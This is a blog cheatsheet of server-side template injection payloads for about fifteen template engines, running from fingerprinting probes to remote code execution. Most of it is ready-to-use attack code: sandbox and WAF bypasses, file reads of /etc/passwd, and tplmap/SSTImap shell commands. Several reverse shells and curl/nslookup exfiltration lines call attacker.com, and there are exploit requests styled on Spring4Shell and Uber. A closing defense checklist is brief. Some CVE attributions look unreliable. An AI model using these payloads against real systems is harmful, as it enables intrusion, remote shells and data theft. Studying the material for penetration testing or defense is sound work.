SSTI Payload Cheatsheet: Every Template Engine — Detection to RCE | Tağmaç - root@Tagoletta:~#

SSTI Payload Cheatsheet: Every Template Engine — Detection to RCE

Thu May 28 2026

Category: Cheatsheet

Scope: Detection through RCE for every mainstream template engine. For exploiting blind SSTI (no visible output), see the dedicated Blind SSTI to RCE writeup.


Detection: Engine-Agnostic Probes

Inject these and observe the output. Each probe is designed to produce a distinct response that fingerprints the engine.

{{7*7}}           → 49       Jinja2, Twig, Nunjucks, Pebble
${7*7}            → 49       Freemarker, Groovy, Thymeleaf (SpEL)
#{7*7}            → 49       Mako, some EL contexts
<%= 7*7 %>        → 49       ERB, EJS
{{7*'7'}}         → 7777777  Jinja2
{{7*'7'}}         → 49       Twig
${{7*7}}          → 49       Angular, some custom engines
{7*7}             → 49       Smarty (older), some Mustache variants
${{"7"*7}}        → 49       Groovy
@(7*7)            → 49       Razor (.NET)
*{7*7}            → 49       Thymeleaf (selection expressions)

Decision Tree

{{7*7}} → 49?
├── YES → {{7*'7'}} = ?
│         ├── 7777777 → Jinja2 (Python)
│         └── 49      → Twig (PHP) or Nunjucks (Node.js)
│
└── NO  → ${7*7} → 49?
          ├── YES → Freemarker / Velocity / Groovy (Java)
          └── NO  → <%= 7*7 %> → 49?
                    ├── YES → ERB (Ruby) or EJS (Node.js)
                    └── NO  → #{7*7} → 49?
                              ├── YES → Mako (Python)
                              └── NO  → Possibly Blind SSTI

Jinja2 (Python — Flask, Django, Ansible)

Basic Info Leak

{{7*7}}
{{config}}
{{config.items()}}
{{config.__class__.__init__.__globals__}}
{{request}}
{{request.environ}}
{{self.__dict__}}
{{self._TemplateReference__context}}

RCE via MRO Chain

# Python 2 / older Flask
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('id', shell=True, stdout=-1).communicate()[0].strip()}}

# Python 3 / modern Flask
{{''.__class__.__bases__[0].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen index (varies by Python version/installed packages)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}{{c(['id'],stdout=-1).communicate()[0]}}{% endif %}
{% endfor %}

# Use index once found (e.g. index 229, 273, 414 — varies)
{{''.__class__.__mro__[1].__subclasses__()[229](['id'],stdout=-1).communicate()[0]}}

RCE via Global Objects

# os via config object
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('id').read()}}

# os via request globals
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Jinja2 built-in helpers that expose globals
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}

# get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

Sandbox Escape (Jinja2 Sandbox)

# attr() filter to avoid dot notation filters
{{''|attr('__class__')|attr('__mro__')|list|last|attr('__subclasses__')()}}

# __getitem__ alternative
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(229)(['id'],stdout=-1).communicate()}}

# Hex-encoded attribute names
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}

# String concatenation to avoid keyword filters
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subclas'+'ses__']()[229](['id'],stdout=-1).communicate()}}

# Format string trick
{{'%s'%''.__class__}}

# dict filter
{{dict(__class__=1)|list}}

File Read

{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
{{open('/etc/passwd').read()}}   # if open() accessible in globals
{{config.__class__.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}

Twig (PHP — Symfony, Drupal, Craft CMS)

Basic

{{7*7}}
{{_self.env}}
{{_self.env.enabled}}
{{app.user}}
{{app.request.server.all|join(',')}}

RCE

# Twig < 1.32 (direct filter abuse)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("passthru")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

# Via array/map filter
{{["id"]|filter("system")}}
{{["id"]|map("system")|join}}
{{["id", "0"]|sort("passthru")}}
{{[0]|reduce("system","id")}}

# Via setCache / loadTemplate
{{_self.env.setCache("ftp://attacker.com:21/")}}
{{_self.env.loadTemplate("backdoor")}}

# PHP functions via macros (Twig 3.x)
{% macro rce(cmd) %}{% set x = cmd|split('')|join %}{% endmacro %}

Info Leak

{{_self.env.getExtension('Symfony\\Bridge\\Twig\\Extension\\ProfilerExtension')}}
{{app.request.cookies}}
{{app.session.all}}
{{app.user.username}}

Freemarker (Java — Spring, JBoss, Adobe ColdFusion)

Basic

${7*7}
${.data_model?keys}
${.globals?keys}

RCE

# Classic Execute
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ObjectConstructor + ProcessBuilder
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["id"])>
<#assign is=pb.start().getInputStream()>
<#assign isr=ob("java.io.InputStreamReader",is)>
<#assign br=ob("java.io.BufferedReader",isr)>
<#assign line=br.readLine()>
${line}

# Direct JVM
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("curl http://attacker.com/$(id)")}

# Runtime.exec via API
<#assign rt="java.lang.Runtime"?new()>

Velocity (Java — Apache, Atlassian Confluence)

Basic

#set($x = 7*7)
$x
$class.inspect("java.lang.Runtime").type

RCE

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($rt=$class.inspect("java.lang.Runtime").type)
#set($ex=$rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
  $str.valueOf($chr.toChars($out.read()))
#end

# Shorter variant
#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($proc=$run.exec("id"))
#set($is=$proc.getInputStream())
#set($br=$e.getClass().forName("java.io.BufferedReader").getConstructor($e.getClass().forName("java.io.InputStreamReader")).newInstance($is))
$br.readLine()

# Via Context tools
#set($cmd = "id")
#evaluate("#set($x=$date.getClass().forName('java.lang.Runtime').getRuntime().exec($cmd))")

Smarty (PHP)

# Old versions (Smarty 2.x) — direct PHP
{php}system('id');{/php}
{php}phpinfo();{/php}
{php}echo shell_exec($_GET['cmd']);{/php}

# Via {include} with PHP tag injection
{include file="php:passthru('id')"}

# Modern Smarty (3.x+, no {php} tag by default)
{system('id')}
{'id'|system}
{$smarty.template_object->smarty->registerPlugin('modifier','e','exec')}{'id'|e}

# Smarty sandbox escape
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

# Object method call
{$x=$smarty.template_object->smarty}
{$x->registerPlugin('modifier','shell','shell_exec')}
{'id'|shell}

ERB (Ruby — Rails, Sinatra)

<%= 7*7 %>
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
<%= require 'open3'; Open3.capture2('id')[0] %>
<%= Dir.entries('/') %>
<%= ENV['SECRET_KEY_BASE'] %>

# Reverse shell
<%= require 'socket'; s=TCPSocket.new('attacker.com',4444); $stdin=s; $stdout=s; $stderr=s; exec('/bin/bash') %>

# Blind via HTTP
<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>

Mako (Python — Pyramid, some Flask setups)

${7*7}
${__import__('os').system('id')}
${__import__('os').popen('id').read()}

<%
import os
result = os.popen('id').read()
%>
${result}

# Via request object
${request.environ}
${request.GET['x']}

# Reverse shell
<%
import socket,subprocess,os
s=socket.socket()
s.connect(('attacker.com',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(['/bin/bash','-i'])
%>

Thymeleaf (Java — Spring Boot)

# Expression types
${...}   → Variable (Spring EL / OGNL)
*{...}   → Selection
#{...}   → Message
@{...}   → URL
~{...}   → Fragment

# Info leak
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().availableProcessors()}

# RCE via SpEL
${T(java.lang.Runtime).getRuntime().exec('id')}
*{T(java.lang.Runtime).getRuntime().exec('id')}

# RCE with output capture
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}

# Longer but reliable
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{105,100})).getInputStream())}

# URL expression abuse (template in URL param, no sandbox)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/$(id)")}__::.x

# Via ProcessBuilder
${new java.lang.ProcessBuilder(new String[]{"id"}).start().waitFor()}

Nunjucks (Node.js — Express)

{{7*7}}
{{global.process.version}}
{{global.process.env}}
{{global.process.mainModule.require('child_process').execSync('id').toString()}}

# Via range constructor
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}

# Via cycler
{{cycler.constructor("return process.mainModule.require('child_process').execSync('id').toString()")()}}

# File read
{{range.constructor("return require('fs').readFileSync('/etc/passwd','utf8')")()}}

Handlebars (Node.js)

# Handlebars sandboxes `this` but prototype chain can be walked
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('id').toString();"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

# Prototype pollution via __proto__
{{__proto__.polluted}}
{{constructor.constructor('return process.env')()}}

EJS (Node.js — Express)

<%= 7*7 %>
<%= process.version %>
<%= process.env %>
<%= require('child_process').execSync('id').toString() %>

<% var x = require('child_process').execSync('id').toString(); %>
<%= x %>

# File read
<%= require('fs').readFileSync('/etc/passwd','utf8') %>

# Reverse shell
<% require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1') %>

Tornado (Python)

{% import os %}{{ os.system("id") }}
{% set x=__import__('os').popen('id').read() %}{{x}}

# Module import
{% from os import popen %}{{popen('id').read()}}

# Raw block bypass
{% raw %}{{7*7}}{% end %}

Pebble (Java)

{% set x = "freemarker.template.utility.Execute"?new() %}
{{ x("id") }}

# Runtime exec
{%set rt = "java.lang.Runtime".forName(null).getRuntime()%}
{%set process = rt.exec("id")%}
{%set is = process.getInputStream()%}
{%set br = "java.io.BufferedReader".forName(null).getConstructor("java.io.InputStreamReader".forName(null)).newInstance(is)%}
{{br.readLine()}}

Groovy (Java — Jenkins, Gradle scripts)

${"id".execute().text}
${["id"].execute().text}
${"bash,-c,id".tokenize(',').execute().text}

<% def x = "id".execute().text %>
${x}

// Jenkins Script Console (direct Groovy)
println "id".execute().text
["bash","-c","id"].execute().text
Runtime.exec("id")

// Reverse shell in Jenkins
String host="attacker.com";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());...}

Razor (.NET — ASP.NET MVC)

@(7*7)
@System.Diagnostics.Process.Start("cmd.exe","/c whoami")
@{var x = new System.Diagnostics.Process(); x.StartInfo.FileName="cmd.exe"; x.StartInfo.Arguments="/c id"; x.Start(); }
@System.IO.File.ReadAllText("C:\\Windows\\win.ini")

Blind SSTI Techniques

When there is no output returned, use out-of-band channels:

DNS Callback (Jinja2)

# Uses subprocess to issue DNS lookup
{{''.__class__.__mro__[1].__subclasses__()[229](['nslookup','attacker.com'],stdout=-1).communicate()}}

# Curl callback with command output
{{''.__class__.__mro__[1].__subclasses__()[229](['curl','http://attacker.com/?x='+__import__('os').popen('id').read().strip()],stdout=-1).communicate()}}

Timing Attack (Jinja2)

# Sleep 5 seconds to confirm execution
{{''.__class__.__mro__[1].__subclasses__()[229](['sleep','5'],stdout=-1).communicate()}}

# Conditional sleep: true if user is 'root'
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','if [ $(id -u) -eq 0 ]; then sleep 5; fi'],stdout=-1).communicate()}}

File Write to Web Root

# Write output to accessible path, then fetch it
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','id>/var/www/html/x.txt'],stdout=-1).communicate()}}
# Then: curl http://target.com/x.txt

ERB Blind

<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>

Freemarker Blind

<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://attacker.com/?x=$(id)")}

WAF Bypass for SSTI

Jinja2 — Dot Notation Bypass

# attr() filter instead of dots
{{''|attr('__class__')|attr('__mro__')|list}}

# Hex-encoded attribute name
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}

# Unicode encoded
{{''['__class__']}}

# String concatenation
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subcla'+'sses__']()}}

# __getitem__ method
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(0)}}

# Indirect via request args (if Jinja2 auto-escaping off)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}

# Format filter
{{'%s'.__class__}}

Twig — Keyword Evasion

# If "system" is blocked
{{"id"|passthru}}
{{["id"]|map("shell_exec")|join}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Blocking {{}}

# Some WAFs block {{ but not {%
{% set x = 7*7 %}{{ x }}
{% print(7*7) %}           # some engines

Tools

Tool Command
tplmap python tplmap.py -u 'http://target.com/?name=*'
SSTImap python sstimap.py -u 'http://target.com/?name=*' --os-shell
Burp Intruder Fuzz injection points with detection list

tplmap Common Flags

# Basic scan
python tplmap.py -u "http://target.com/?name=*"

# POST data
python tplmap.py -u "http://target.com/page" -d "name=*"

# Interactive OS shell
python tplmap.py -u "http://target.com/?name=*" --os-shell

# File upload
python tplmap.py -u "http://target.com/?name=*" --upload /local/file /remote/path

# Reverse shell
python tplmap.py -u "http://target.com/?name=*" --os-shell --reverse-shell attacker.com:4444

Real-World Examples

CVE / Incident Year Engine Impact
CVE-2019-11496 2019 Pebble (Javalin) SSTI → RCE in Javalin web framework
CVE-2019-3799 2019 Freemarker (Spring Cloud) SSTI → arbitrary file read + RCE via Spring Cloud Config
CVE-2020-9484 2020 Velocity (Apache Tomcat) SSTI in deserialization chain
CVE-2022-22963 2022 Spring Cloud Function SpEL injection → RCE (Spring4Shell precursor)
CVE-2022-22965 2022 Spring Framework Spring4Shell — SpEL/Thymeleaf class loader manipulation → RCE
CVE-2023-36934 2023 MOVEit Transfer SSTI in .NET Razor → unauthenticated RCE
Uber H1 Report 2016 Jinja2 SSTI in flask render_template_string() → full server access
HackerOne — Shopify 2015 Liquid (Ruby) SSTI → info leak in email templates

CTF Machines

  • HTB: FormulaX — Nunjucks SSTI via chat bot input
  • HTB: Encoding — PHP filter chain SSTI-like exploitation
  • HTB: Templated — Jinja2 SSTI → RCE in Flask app (beginner friendly)
  • HTB: Bolt — Twig SSTI in CMS template editor
  • PicoCTF 2022 — Python Jinja2 SSTI challenge
  • HTB: Catch — Pebble template injection in Android app API

Bug Bounty Highlights

  • Shopify Liquid (2015): Employee subdomain with Liquid SSTI → server-side code execution, $25,000
  • Uber (2016): partners.uber.com Jinja2 SSTI → server environment variables exposure, $10,000
  • Sandbox.io (2018): Freemarker SSTI → RCE on shared infrastructure, critical

Example: CVE-2022-22965 — Spring4Shell (Thymeleaf/SpEL RCE)

# Exploit Spring Framework RCE via class loader manipulation
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7B(new+java.util.Scanner(
T(java.lang.Runtime).getRuntime().exec("id").getInputStream()
)).useDelimiter("\\A").next()%7D%25

# Or direct SpEL via Thymeleaf expression
GET /__$%7BT(java.lang.Runtime).getRuntime().exec('id')%7D__::.x HTTP/1.1

Example: Uber SSTI (2016) — Jinja2 RCE

# Vulnerable endpoint: partners.uber.com/partners/<template>
# Input injected into: render_template_string(user_input)

GET /partners/{{config}} HTTP/1.1
# Leaks Flask config, SECRET_KEY, DATABASE_URI

GET /partners/{{lipsum.__globals__['os'].popen('id').read()}} HTTP/1.1
# Output: uid=33(www-data) gid=33(www-data)

# Reverse shell
GET /partners/{{lipsum.__globals__['os'].popen('bash -c "bash -i >%26 /dev/tcp/attacker.com/4444 0>%261"').read()}}

Example: HTB: Bolt — Twig SSTI

# Admin panel allows custom templates — input reflected via Twig

# Detection
{{7*7}} → 49 ✓

# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Output: uid=33(www-data)

# Reverse shell
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}}

Example: CVE-2019-3799 — Spring Cloud Config SSTI (Freemarker)

# Vulnerable endpoint: /actuator/env
POST /actuator/env HTTP/1.1
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location",
 "value":"http://attacker.com/malicious.yml"}

# malicious.yml contains Freemarker SSTI
POST /actuator/refresh HTTP/1.1
{}
# Triggers template evaluation → RCE

Defense Checklist

  • Never render user-controlled input through a template engine
  • If dynamic templates are required, use a sandboxed engine (Jinja2's SandboxedEnvironment)
  • Whitelist allowed expressions / characters
  • Treat template rendering like eval() — it executes code
  • Apply CSP to limit impact of successful injection
  • Monitor for template syntax in user input

References